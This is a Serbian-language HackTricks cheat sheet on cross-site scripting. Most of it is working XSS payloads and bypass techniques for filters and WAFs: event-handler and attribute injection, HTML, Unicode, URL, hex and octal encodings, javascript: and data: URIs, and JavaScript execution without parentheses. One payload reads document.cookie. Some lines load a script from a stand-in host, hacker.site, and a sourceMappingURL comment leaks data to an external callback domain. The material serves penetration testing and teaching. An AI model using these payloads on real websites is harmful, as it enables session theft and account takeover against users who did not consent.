hacktricks/pentesting-web/xss-cross-site-scripting
2024-06-14 11:10:05 +00:00
..
abusing-service-workers.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:52:14 +00:00
chrome-cache-to-xss.md Translated to Serbian 2024-02-10 13:11:20 +00:00
debugging-client-side-js.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:40:09 +00:00
dom-clobbering.md Translated to Serbian 2024-02-10 13:11:20 +00:00
dom-invader.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:40:09 +00:00
dom-xss.md Translated ['pentesting-web/xss-cross-site-scripting/dom-xss.md'] to rs 2024-06-06 09:16:17 +00:00
iframes-in-xss-and-csp.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:40:09 +00:00
integer-overflow.md Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve 2024-06-14 10:18:30 +00:00
js-hoisting.md Translated to Serbian 2024-02-10 13:11:20 +00:00
other-js-tricks.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:40:09 +00:00
pdf-injection.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md Translated ['pentesting-web/xss-cross-site-scripting/README.md'] to rs 2024-06-14 11:10:05 +00:00
server-side-xss-dynamic-pdf.md Translated to Serbian 2024-02-10 13:11:20 +00:00
shadow-dom.md Translated to Serbian 2024-02-10 13:11:20 +00:00
sniff-leak.md Translated to Serbian 2024-02-10 13:11:20 +00:00
some-same-origin-method-execution.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:40:09 +00:00
steal-info-js.md Translated to Serbian 2024-02-10 13:11:20 +00:00
xss-in-markdown.md GitBook: No commit message 2024-04-06 19:39:21 +00:00

XSS (Cross Site Scripting)

Ako ste zainteresovani za hakersku karijeru i hakovanje onoga što se ne može hakovati - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika u pisanju i govoru).

{% embed url="https://www.stmcyber.com/careers" %}

Metodologija

  1. Proverite da li se bilo koja vrednost kojom upravljate (parametri, putanja, zaglavlja?, kolačići?) reflektuje u HTML-u ili se koristi od strane JS koda.
  2. Pronađite kontekst gde se reflektuje/koristi.
  3. Ako je reflektovano
  4. Proverite koje simbole možete koristiti i u zavisnosti od toga pripremite payload:
  5. U čistom HTML-u:
  6. Možete li kreirati nove HTML oznake?
  7. Možete li koristiti događaje ili atribute koji podržavaju javascript: protokol?
  8. Možete li zaobići zaštitu?
  9. Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS motora (AngularJS, VueJS, Mavo...), možete zloupotrebiti Client Side Template Injection.
  10. Ako ne možete kreirati HTML oznake koje izvršavaju JS kod, možete li zloupotrebiti Dangling Markup - HTML scriptless injection?
  11. Unutar HTML oznake:
  12. Možete li izaći u čisti HTML kontekst?
  13. Možete li kreirati nove događaje/ atribute da izvršite JS kod?
  14. Da li atribut u kojem ste zarobljeni podržava izvršenje JS koda?
  15. Možete li zaobići zaštitu?
  16. Unutar JavaScript koda:
  17. Možete li izbeći <script> oznaku?
  18. Možete li izbeći string i izvršiti drugačiji JS kod?
  19. Da li su vaši unosi u šablonima literala ``?
  20. Možete li zaobići zaštitu?
  21. JavaScript funkcija koja se izvršava
  22. Možete naznačiti ime funkcije za izvršenje. npr.: ?callback=alert(1)
  23. Ako je korišćeno:
  24. Možete iskoristiti DOM XSS, obratite pažnju kako se kontroliše vaš unos i da li vaš kontrolisani unos koristi neki otok.

Kada radite na složenom XSS-u, možda će vam biti zanimljivo znati o:

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

Reflektovane vrednosti

Da biste uspešno iskoristili XSS, prva stvar koju treba pronaći je vrednost kojom upravljate koja se reflektuje na web stranici.

  • Srednje reflektovano: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na web stranici, možete iskoristiti Reflected XSS.
  • Smešteno i reflektovano: Ako otkrijete da je vrednost kojom upravljate sačuvana na serveru i reflektuje se svaki put kada pristupite stranici, možete iskoristiti Stored XSS.
  • Pristupljeno putem JS: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti DOM XSS.

Konteksti

Kada pokušavate iskoristiti XSS, prva stvar koju treba znati je gde se reflektuje vaš unos. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.

Čisti HTML

Ako se vaš unos reflektuje na čistom HTML stranici, moraćete zloupotrebiti neku HTML oznaku kako biste izvršili JS kod: <img , <iframe , <svg , <script ... ovo su samo neke od mnogih mogućih HTML oznaka koje možete koristiti.
Takođe, imajte na umu Client Side Template Injection.

Unutar atributa HTML oznaka

Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:

  1. Da izađete iz atributa i iz oznake (tada ćete biti u čistom HTML-u) i kreirate novu HTML oznaku za zloupotrebu: "><img [...]
  2. Ako možete izaći iz atributa ali ne i iz oznake (> je enkodiran ili obrisan), zavisno od oznake možete kreirati događaj koji izvršava JS kod: " autofocus onfocus=alert(1) x="
  3. Ako ne možete izaći iz atributa (" je enkodiran ili obrisan), onda zavisno od kog atributa se reflektuje vaša vrednost i da li kontrolišete celu vrednost ili samo deo moći ćete je zloupotrebiti. Na primer, ako kontrolišete događaj poput onclick=, moći ćete da naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv primer je atribut href, gde možete koristiti javascript: protokol za izvršavanje proizvoljnog koda: href="javascript:alert(1)"
  4. Ako se vaš unos reflektuje unutar "neiskorišćenih oznaka" možete pokušati trik sa accesskey da zloupotrebite ranjivost (trebaće vam neka vrsta socijalnog inženjera da iskoristite ovo): " accesskey="x" onclick="alert(1)" x="

Čudan primer Angulara koji izvršava XSS ako kontrolišete ime klase:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Unutar JavaScript koda

U ovom slučaju, vaš unos se reflektuje između <script> [...] </script> oznaka na HTML stranici, unutar .js fajla ili unutar atributa korišćenjem javascript: protokola:

  • Ako je reflektovan između <script> [...] </script> oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubacite </script> i izbegnete ovaj kontekst. Ovo funkcioniše jer će pregledač prvo parsirati HTML oznake a zatim sadržaj, stoga neće primetiti da je vaš ubačeni </script> tag unutar HTML koda.
  • Ako je reflektovan unutar JS stringa i prethodni trik ne funkcioniše, moraćete izaći iz stringa, izvršiti svoj kod i rekonstruisati JS kod (ako postoji greška, neće biti izvršena):
    • '-alert(1)-'
    • ';-alert(1)//
    • \';alert(1)//
  • Ako je reflektovan unutar template literala, možete ugraditi JS izraze koristeći sintaksu ${ ... }: var pozdravi = `Zdravo, ${alert(1)}`
  • Unicode enkodiranje funkcioniše za pisanje validnog JavaScript koda:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Podizanje Javascript-a

Podizanje Javascript-a se odnosi na mogućnost deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.
Proverite sledeću stranicu za više informacija:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

Javascript Funkcija

Na nekoliko web stranica postoje endpointovi koji prihvataju kao parametar ime funkcije za izvršavanje. Čest primer koji se može videti je nešto poput: ?callback=callbackFunc.

Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je menjanje vrednosti parametra (na primer u 'Ranjiv') i traženje grešaka u konzoli kao što je:

Ukoliko je ranjivo, možete pokrenuti upozorenje samo slanjem vrednosti: ?callback=alert(1). Međutim, vrlo je često da će ovi endpointovi validirati sadržaj kako bi dozvolili samo slova, brojeve, tačke i donje crte ([\w\._]).

Ipak, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da pristupite bilo kom elementu u DOM-u:

Neke korisne funkcije za ovo:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Možete takođe pokušati da pokrenete JavaScript funkcije direktno: obj.sales.delOrders.

Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo interesantnog DOM-a, druge stranice na istom poreklu će imati interesantniji DOM za obavljanje više akcija.

Stoga, kako bi se zloupotrebila ova ranjivost u drugačijem DOM-u, razvijena je eksploatacija Same Origin Method Execution (SOME):

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

Postoji JS kod koji nesigurno koristi neke podatke kontrolisane od strane napadača poput location.href. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod.

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Universalni XSS

Ovaj tip XSS-a može se pronaći bilo gde. Ne zavise samo o eksploataciji klijenta veb aplikacije već o bilo kom kontekstu. Ovaj tip proizvoljne JavaScript eksploatacije može čak biti zloupotrebljen da bi se dobio RCE, čitali proizvoljni fajlovi na klijentima i serverima, i još više.
Neki primeri:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

Bajpasovanje WAF enkodiranjem slike

sa https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Ubacivanje unutar sirovog HTML-a

Kada se vaš unos reflektuje unutar HTML stranice ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete zloupotrebiti < da biste kreirali nove oznake: Samo pokušajte da reflektujete taj karakter i proverite da li je HTML enkodiran ili obrisan ili ako je reflektovan bez promena. Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj.
Za ove slučajeve takođe imajte na umu Ubacivanje šablona na klijentskoj strani.
Napomena: HTML komentar može biti zatvoren koristeći** --> ili ****--!>**

U ovom slučaju, i ako se ne koristi crna/bela lista, mogli biste koristiti payload-ove poput:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Međutim, ako se koristi crna/bela lista oznaka/atributa, moraćete bruteforce-ovati koje oznake možete kreirati.
Kada ste pronašli koje su oznake dozvoljene, moraćete bruteforce-ovati atribute/događaje unutar pronađenih validnih oznaka da biste videli kako možete napasti kontekst.

Bruteforce oznaka/događaja

Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Kopiraj oznake u međuspremnik. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li je bilo koja oznaka otkrivena kao zlonamerna od strane WAF. Kada otkrijete koje oznake možete koristiti, možete bruteforce-ovati sve događaje koristeći validne oznake (na istoj veb stranici kliknite na Kopiraj događaje u međuspremnik i pratite isti postupak kao pre).

Prilagođene oznake

Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da kreirate prilagođenu oznaku i izvršite JS kod sa atributom onfocus. U XSS zahtevu, morate završiti URL sa # da biste stranici omogućili fokusiranje na taj objekat i izvršili kod:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Bypass-ovi crne liste

Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete sa nekim smešnim trikovima:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Bypass dužine (mali XSS-ovi)

{% hint style="info" %} Više sitnih XSS-ova za različite okoline payload može se pronaći ovde i ovde. {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Klikni na XSS - Clickjacking

Ako je potrebno da korisnik klikne na link ili formu sa unapred popunjenim podacima kako bi se iskoristila ranjivost, možete pokušati da zloupotrebite Clickjacking (ako je stranica ranjiva).

Nemoguće - Dangling Markup

Ako smatrate da je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda, trebalo bi da proverite Danglig Markup jer biste mogli iskoristiti ranjivost bez izvršavanja JS koda.

Ubacivanje unutar HTML taga

Unutar taga/izlazak iz vrednosti atributa

Ako se nalazite unutar HTML taga, prvo što možete pokušati je da izađete iz taga i koristite neke od tehnika navedenih u prethodnom odeljku kako biste izvršili JS kod.
Ako ne možete izaći iz taga, možete kreirati nove atribute unutar taga kako biste pokušali izvršiti JS kod, na primer koristeći neki payload (imajte na umu da u ovom primeru su dvostruki navodnici korišćeni za izlazak iz atributa, nećete ih trebati ako se vaš unos direktno reflektuje unutar taga):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stil događaja

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Unutar atributa

Čak i ako ne možete pobeći iz atributa (" se kodira ili briše), zavisno o kojem atributu se vaša vrednost reflektuje, da li kontrolišete celu vrednost ili samo deo, moći ćete da je zloupotrebite. Na primer, ako kontrolišete događaj poput onclick=, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.
Još jedan interesantan primer je atribut href, gde možete koristiti javascript: protokol da izvršite proizvoljan kod: href="javascript:alert(1)"

Bypass unutar događaja korišćenjem HTML enkodiranja/URL enkodiranja

HTML enkodirani karakteri unutar vrednosti atributa HTML oznaka se dekodiraju pri izvršavanju. Stoga nešto poput sledećeg će biti validno (payload je podebljan): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Imajte na umu da je svaka vrsta HTML enkodiranja validna:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Imajte na umu da će raditi i URL enkodiranje:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass unutrašnjeg događaja korišćenjem Unicode enkodiranja

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Specijalni protokoli unutar atributa

Ovde možete koristiti protokole javascript: ili data: na nekim mestima da izvršite proizvoljan JS kod. Neke će zahtevati interakciju korisnika, a neke neće.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Mesta gde možete ubaciti ove protokole

Uopšteno se javascript: protokol može koristiti u bilo kom tagu koji prihvata atribut href i u većini tagova koji prihvataju atribut src (ali ne <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Ostale trikove zamagljivanja

U ovom slučaju, trikovi enkodiranja HTML-a i Unicode enkodiranja iz prethodne sekcije takođe su validni jer se nalazite unutar atributa.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Osim toga, postoji još jedan lep trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:... URL enkodiran, biće dekodiran pre nego što se izvrši. Dakle, ako treba da izbegnete iz stringa koristeći jednostruki navodnik i primetite da je URL enkodiran, zapamtite da nije važno, biće interpretiran kao jednostruki navodnik tokom izvršavanja.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Imajte na umu da ako pokušate koristiti i URLencode + HTMLencode u bilo kom redosledu za enkodiranje payload-a, to neće raditi, ali možete ih mešati unutar payload-a.

Korišćenje heksadecimalnog i oktalnog enkodiranja sa javascript:

Možete koristiti heksadecimalno i oktalno enkodiranje unutar atributa src elementa iframe (barem) da biste deklarisali HTML oznake za izvršavanje JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Obrnuto preusmeravanje kartica

<a target="_blank" rel="opener"

Ako možete ubaciti bilo koji URL u proizvoljni <a href= tag koji sadrži target="_blank" and rel="opener" atribute, proverite sledeću stranicu da biste iskoristili ovu funkcionalnost:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

o Bypass događajnih rukovaoca

Prvo proverite ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne "on" event handlere.
U slučaju da postoji neka crna lista koja sprečava kreiranje ovih event handlera, možete probati sledeće bypass-ove:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Sa ovde sada je moguće zloupotrebiti skrivene inpute sa:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

I u meta tagovima:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Od ovde: Možete izvršiti XSS payload unutar skrivenog atributa, pod uslovom da možete ubediti žrtvu da pritisne kombinaciju tastera. Na Firefox Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete specificirati drugu kombinaciju tastera koristeći drugi taster u access key atributu. Evo vektora:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload će biti nešto poput ovoga: " accesskey="x" onclick="alert(1)" x="

Bypass-ovi crne liste

Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se da saznate gde možete koristiti:

  • HTML enkodiranje (HTML tagovi)
  • Unicode enkodiranje (može biti validan JS kod): \u0061lert(1)
  • URL enkodiranje
  • Heksadecimalno i oktalno enkodiranje
  • Data enkodiranje

Bypass-ovi za HTML tagove i atribute

Pročitajte Bypass-ove crne liste prethodne sekcije.

Bypass-ovi za JavaScript kod

Pročitajte JavaScript bypass crne liste sledeće sekcije.

CSS-Gadžeti

Ako pronađete XSS u veoma malom delu veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati modifikovati prostor koji element zauzima kako biste maksimizirali verovatnoću da će link biti aktiviran.

Na primer, možete dodati neki stil u element poput: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Međutim, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, pa ako pronađete, na primer

.test {display:block; color: blue; width: 100%}

i

#someid {top: 0; font-family: Tahoma;}

Sada možete modifikovati naš link i dovesti ga u oblik

<a href="" id=someid class=test onclick=alert() a="">

Ovaj trik je preuzet sa https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Ubacivanje unutar JavaScript koda

U ovim slučajevima, vaš unos će biti reflektovan unutar JS koda .js fajla ili između <script>...</script> tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju javascript: protokol.

Bekstvo <script> taga

Ako je vaš kod ubačen unutar <script> [...] var input = 'reflektovani podaci' [...] </script> možete lako izbeći zatvaranje <script> taga:

</script><img src=1 onerror=alert(document.domain)>

Napomena da u ovom primeru čak nismo zatvorili jednostruki navodnik. To je zato što se parsiranje HTML-a prvo vrši od strane pregledača, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti se vrši tek nakon toga.

Unutar JS koda

Ako se <> dezinfikuju, još uvek možete izbeći string gde se vaš unos nalazi i izvršiti proizvoljni JS. Važno je popraviti JS sintaksu, jer ako postoje greške, JS kod neće biti izvršen:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Šablonski literali ``

Da biste konstruisali stringove osim jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks ``. Ovo se naziva šablon literali jer omogućavaju ugrađivanje JS izraza koristeći sintaksu ${ ... }.
Stoga, ako primetite da se vaš unos reflektuje unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... } da biste izvršili proizvoljan JS kod:

Ovo se može zloupotrebiti korišćenjem:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Izvršenje enkodiranog koda

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode Kodiranje JS izvršavanja

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Tehnike za zaobilaženje crnih lista JavaScript-a

Stringovi

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Posebni escape-ovi

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Zamene razmaka unutar JS koda

<TAB>
/**/

JavaScript komentari (iz trika JavaScript komentari)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript nove linije (iz trika JavaScript nove linije )

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript razmaci

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript unutar komentara

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bez zagrada

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
